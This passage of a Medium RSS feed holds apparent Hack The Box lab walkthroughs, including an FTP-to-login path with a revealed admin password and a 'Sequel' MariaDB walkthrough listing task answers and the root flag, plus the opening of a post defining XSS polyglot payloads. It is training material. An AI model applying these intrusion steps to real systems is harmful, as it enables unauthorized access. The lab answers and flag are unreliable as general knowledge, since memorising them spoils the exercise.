/></figure><p>let’s try to see list content using ls command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*unxdCLP0i0q4yWRt.png" /></figure><p>we can download file allowed.userlist and allowed.userlist.passwd using get command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*AiRHpuPmQ00JAMtp.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/0*tTMWUKuKPD1hZnua.png" /></figure><p>now we can scan directory using gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ghyLe_rnG2_UJl98.png" /></figure><p>now open <a href="http://10.129.75.234/">http://10.129.75.234/</a>login.php in browser and we can try login using username:admin and password:rKXM59ESxesUFHAd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/0*hX3lh4X-rMwgamMy.png" /></figure><p>after login tarararara…………we found the flag for the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*H42G46hTZvNqCw2K.png" /></figure><p>Thank You…………………</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5fe42d946c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sequel — Hack The Box: Walkthrough ]]></title>
            <link>https://medium.com/@cyborgtic/sequel-hack-the-box-walkthrough-ec144e10d2cd?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec144e10d2cd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hack-the-box-walkthrough]]></category>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Tue, 27 Feb 2024 07:23:45 GMT</pubDate>
            <atom:updated>2024-02-27T07:23:45.303Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sequel — Hack The Box: Walkthrough 🏴</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*z1bnJVkilc1lnXRx.png" /></figure><pre>Machine IP Address : 10.129.215.77</pre><p>Let’s start with scanning nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XYPSuiLKo9EAd1no.png" /></figure><p>Task 1</p><p>During our scan, which port do we find serving MySQL?</p><p><strong>Answer: </strong>3306</p><p>Task 2</p><p>What community-developed MySQL version is the target running?</p><p><strong>Answer: </strong>MariaDB</p><p>Task 3</p><p>When using the MySQL command line client, what switch do we need to use in order to specify a login username?</p><p><strong>Answer:</strong>-u</p><p>Task 4</p><p>Which username allows us to log into this MariaDB instance without providing a password?</p><p><strong>Answer: </strong>root</p><p>Task 5</p><p>In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?</p><p><strong>Answer:</strong> *</p><p>Task 6</p><p>In SQL, what symbol do we need to end each query with?</p><p><strong>Answer:</strong> ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*W-Tcjk0sMi4V_0Yr.png" /></figure><p>Task 7</p><p>There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that’s unique to this host?</p><p><strong>Answer:</strong> htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hz-Yarb7YcC8rDSg.png" /></figure><p>Submit Flag</p><p>Submit root flag</p><p><strong>Answer: </strong>7b4bec00d1a39e3dd4e021ec3d915da8</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec144e10d2cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS Polyglot Payloads]]></title>
            <link>https://medium.com/@cyborgtic/polyglot-payloads-25486ea0ed72?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/25486ea0ed72</guid>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Sun, 25 Feb 2024 05:23:39 GMT</pubDate>
            <atom:updated>2024-02-25T18:07:40.524Z</atom:updated>
            <content:encoded><![CDATA[<p>A polyglot payload is defined as a piece of code that can be executed in multiple<br>contexts in the application. These types of payloads are popular with attackers because they can quickly test an application’s input controls for any weaknesses, with minimal noise.</p><p>In a complex application, user input can travel through many checkpoint from the URL through a filter, into a database, and back out to a decoder, before being displayed to the user, as illustrated in the following figure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7jI1hJlHXLBK9HG65FgLA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25486ea0ed72" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>